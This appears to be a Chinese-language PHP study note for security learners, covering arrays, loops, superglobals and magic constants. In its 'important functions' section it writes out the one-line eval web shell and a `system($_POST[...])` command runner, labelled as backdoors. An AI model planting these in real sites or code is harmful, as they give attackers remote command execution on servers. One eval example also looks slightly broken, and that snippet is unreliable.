数组,条件,循环,重要函数,超级全局变量,魔术方法
目录
数组,条件,循环,实战
数组
在 PHP 中,array() 函数用于创建数组:
$cars=array("Volvo","BMW","Toyota");
在 PHP 中,有三种类型的数组:
数值数组 - 带有数字 ID 键的数组
关联数组 - 带有指定的键的数组,每个键关联一个值
多维数组 - 包含一个或多个数组的数组
遍历并打印数值数组中的所有值,您可以使用 for 循环,如下所示:
$cars=array("Volvo","BMW","Toyota");
$arrlength=count($cars);
for($x=0;$x<$arrlength;$x++)
{
echo $cars[$x].'<br>';
}
遍历并打印关联数组中的所有值,您可以使用 foreach 循环,如
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
foreach($age as $x=>$x_value)
{
echo "Key=" . $x . ", Value=" . $x_value;
echo "<br>";
}
条件
if 语句 - 在条件成立时执行代码
if...else 语句 - 在条件成立时执行一块代码,条件不成立时执行另一块代码
if...elseif....else语句 - 在若干条件之一成立时执行一个代码块 switch 语句 - 在若干条件之一成立时执行一个代码块
用法和c语言一样
循环
while (条件) { 要执行的代码; }
for (初始值; 条件; 增量) { 要执行的代码; }
实战
<?php
$rand=$_GET["rand"];
if ($rand==null){
$rand=rand(10,99);
}
//for循环爆破
// for ($num=0;$num<=$rand;$num++){
// echo "正在爆破".$num;
// $a="爆破成功,结果为".$num;
// }
// $num=0;
// while ($num<=$rand){
// echo "正在爆破".$num;
// $a="爆破成功,结果为".$num;
// $num++;
// }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="" method="get">
<input type="password" name="rand" value=<?php echo $rand;?>>
<h2>清空上面的内容,即可重新开始游戏</h2>
</br>
<h1>猜猜我的数字是多少,范围10-99</h1>
<input type="submit" value="点击开始自动爆破">
<?php echo $a;?>
</br>
</form>
</body>
</html>
重要函数
1.echo phpinfo()
作用:1.检查是否能运行php 2.很多php相关信息,做debug
2.eval:1.执行字符串代码,把字符串当作代码-->可用来计算 2.后门植入
$a="23+3";
$b="+3";
echo eval("return $a.txt$b;");
一句话木马:
<?php @eval($_POST['shell']);?>
3.system
system('ipconfig');
system($_POST['aaa'])//交互
超级全局变量
PHP 超级全局变量列表:
$GLOBALS $_SERVER $_REQUEST $_POST $_GET $_FILES $_ENV $_COOKIE $_SESSION
全局变量用$GLOBALS ,
$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
<?php
$x = 75;
$y = 25;
function addition()
{
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z;
?>
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信 息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器 可能会忽略一些,或者提供一些没有在这里列举出来的项目。
这些是服务器创建的项目,它在所有的脚本中都有效
echo var_dump($_SERVER);//结构
foreach ($_SERVER as $x=>$y)
echo $x."<br>";
echo $y;
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];
?>
如一些重要的信息:
$_SERVER['HTTP_HOST'] #当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] #当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
$_SERVER['REMOTE_HOST'] #正在浏览当前页面用户的主机名。
$_SERVER['REMOTE_PORT'] #用户连接到服务器时所使用的端口$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址
$_SERVER['HTTP_VIA'] #代理服务器IP
$_SERVER['HTTP_CLIENT_IP'] #客户端IP
魔术方法
下面注释即用法
echo __LINE__.'<br>';//文件中的当前行号。
echo __FILE__."<br>";//文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
echo __DIR__;//文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
class test
{
function _print()
{
echo 'class name' . __CLASS__ . "<br>";//类的名称
echo 'funcation name' . __FUNCTION__;//函数名称
}
}
$t=new test();
$t->_print();